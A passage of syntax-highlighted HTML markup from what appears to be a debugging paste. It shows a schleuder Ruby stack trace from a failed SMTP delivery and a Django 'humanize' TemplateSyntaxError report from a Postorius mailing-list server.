&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vendor_ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;delivery_methods&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp_connection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;deliver&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/vendor_ruby/mail/network/delivery_methods/smtp.rb:101:in `block in deliver!&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;3.3.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;0.5.1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;643&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="k"&gt;start&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/vendor_ruby/mail/network/delivery_methods/smtp.rb:109:in `start_smtp_session&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vendor_ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;network&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;delivery_methods&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;smtp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;deliver&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/vendor_ruby/mail/message.rb:2145:in `do_delivery&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vendor_ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;deliver&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/vendor_ruby/schleuder/mail/gpg/delivery_handler.rb:27:in `deliver_mail&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vendor_ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mail&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;253&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;deliver&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/vendor_ruby/schleuder/logger_notifications.rb:48:in `block in notify_admin&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vendor_ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;schleuder&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;logger_notifications&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="k"&gt;each&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/vendor_ruby/schleuder/logger_notifications.rb:29:in `notify_admin&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vendor_ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;schleuder&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;logger_notifications&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/vendor_ruby/schleuder/list.rb:379:in `rescue in block in send_to_subscriptions&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vendor_ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;schleuder&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;362&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;block&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;send_to_subscriptions&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/share/rubygems-integration/all/gems/activerecord-7.2.2.1/lib/active_record/relation/delegation.rb:98:in `each&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;rubygems&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;integration&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="ow"&gt;all&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activerecord&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;7.2.2.1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;active_record&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;relation&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;delegation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="k"&gt;each&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/vendor_ruby/schleuder/list.rb:361:in `send_to_subscriptions&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;vendor_ruby&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;schleuder&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;runner&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/lib/ruby/vendor_ruby/schleuder/cli.rb:38:in `work&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;rubygems&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;integration&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="ow"&gt;all&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;thor&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1.3.2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;thor&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/share/rubygems-integration/all/gems/thor-1.3.2/lib/thor/invocation.rb:127:in `invoke_command&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;share&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;rubygems&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;integration&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="ow"&gt;all&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gems&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;thor&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1.3.2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;thor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nl"&gt;rb&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;538&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;dispatch&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;/usr/share/rubygems-integration/all/gems/thor-1.3.2/lib/thor/base.rb:584:in `start&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nl"&gt;schleuder&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;


&lt;span class="s1"&gt;[Django] ERROR (EXTERNAL IP): Internal Server Error:.eml&lt;/span&gt;
&lt;span class="s1"&gt;Subject: [Django] ERROR (EXTERNAL IP): Internal Server Error: /postorius/lists/&amp;lt;REDACTED&amp;gt;@nos-oignons.net/held_messages&lt;/span&gt;
&lt;span class="s1"&gt;From: &amp;lt;REDACTED&amp;gt;@lists.nos-oignons.net&lt;/span&gt;
&lt;span class="s1"&gt;Date: Thu, 23 Oct 2025 05:06:17 -0000&lt;/span&gt;
&lt;span class="s1"&gt;To: root@localhost, &amp;lt;REDACTED&amp;gt;@nos-oignons.net&lt;/span&gt;

&lt;span class="s1"&gt;Internal Server Error: /postorius/lists/&amp;lt;REDACTED&amp;gt;@nos-oignons.net/held_messages&lt;/span&gt;

&lt;span class="s1"&gt;TemplateSyntaxError at /postorius/lists/&amp;lt;REDACTED&amp;gt;@nos-oignons.net/held_messages&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;humanize&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; is not a registered tag library. Must be one of:&lt;/span&gt;
&lt;span class="s1"&gt;account&lt;/span&gt;
&lt;span class="s1"&gt;admin_list&lt;/span&gt;
&lt;span class="s1"&gt;admin_modify&lt;/span&gt;
&lt;span class="s1"&gt;admin_urls&lt;/span&gt;
&lt;span class="s1"&gt;allauth&lt;/span&gt;
&lt;span class="s1"&gt;bootstrap_tags&lt;/span&gt;
&lt;span class="s1"&gt;cache&lt;/span&gt;
&lt;span class="s1"&gt;compress&lt;/span&gt;
&lt;span class="s1"&gt;d_gravatar&lt;/span&gt;
&lt;span class="s1"&gt;date_helpers&lt;/span&gt;
&lt;span class="s1"&gt;debugger_tags&lt;/span&gt;
&lt;span class="s1"&gt;decorate&lt;/span&gt;
&lt;span class="s1"&gt;gravatar&lt;/span&gt;
&lt;span class="s1"&gt;highlight&lt;/span&gt;
&lt;span class="s1"&gt;highlighting&lt;/span&gt;
&lt;span class="s1"&gt;hk_generic&lt;/span&gt;
&lt;span class="s1"&gt;hk_haystack&lt;/span&gt;
&lt;span class="s1"&gt;i18n&lt;/span&gt;
&lt;span class="s1"&gt;indent_text&lt;/span&gt;
&lt;span class="s1"&gt;l10n&lt;/span&gt;
&lt;span class="s1"&gt;log&lt;/span&gt;
&lt;span class="s1"&gt;markdown&lt;/span&gt;
&lt;span class="s1"&gt;membership_helpers&lt;/span&gt;
&lt;span class="s1"&gt;more_like_this&lt;/span&gt;
&lt;span class="s1"&gt;nav_helpers&lt;/span&gt;
&lt;span class="s1"&gt;p_gravatar&lt;/span&gt;
&lt;span class="s1"&gt;pagination&lt;/span&gt;
&lt;span class="s1"&gt;postorius_helpers&lt;/span&gt;
&lt;span class="s1"&gt;rest_framework&lt;/span&gt;
&lt;span class="s1"&gt;socialaccount&lt;/span&gt;
&lt;span class="s1"&gt;static&lt;/span&gt;
&lt;span class="s1"&gt;syntax_color&lt;/span&gt;
&lt;span class="s1"&gt;tz&lt;/span&gt;
&lt;span class="s1"&gt;widont&lt;/span&gt;

&lt;span class="s1"&gt;Request Method: GET&lt;/span&gt;
&lt;span class="s1"&gt;Request URL: https://lists.nos-oignons.net/postorius/lists/&amp;lt;REDACTED&amp;gt;@nos-oignons.net/held_messages&lt;/span&gt;
&lt;span class="s1"&gt;Django Version: 4.2.23&lt;/span&gt;
&lt;span class="s1"&gt;Python Executable: /usr/bin/uwsgi-core&lt;/span&gt;
&lt;span class="s1"&gt;Python Version: 3.13.5&lt;/span&gt;
&lt;span class="s1"&gt;Python Path: [&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python313&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.13&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.13&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dynload&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="k"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="mf"&gt;.13&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dist&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;, &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python3&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;dist&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;packages&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;]&lt;/span&gt;
&lt;span class="s1"&gt;Server time: Thu, 23 Oct 2025 05:06:17 +0000&lt;/span&gt;
&lt;span class="s1"&gt;Installed Applications:&lt;/span&gt;
&lt;span class="s1"&gt;(&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;hyperkitty&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;postorius&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django_mailman3&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;auth&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contenttypes&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sites&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contrib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;staticfiles&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;rest_framework&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django_gravatar&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;compressor&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;haystack&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django_extensions&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;django_q&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
&lt;span class="s1"&gt; &amp;#39;&lt;/span&gt;&lt;span class="n"&gt;allauth&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&lt;/span&gt;
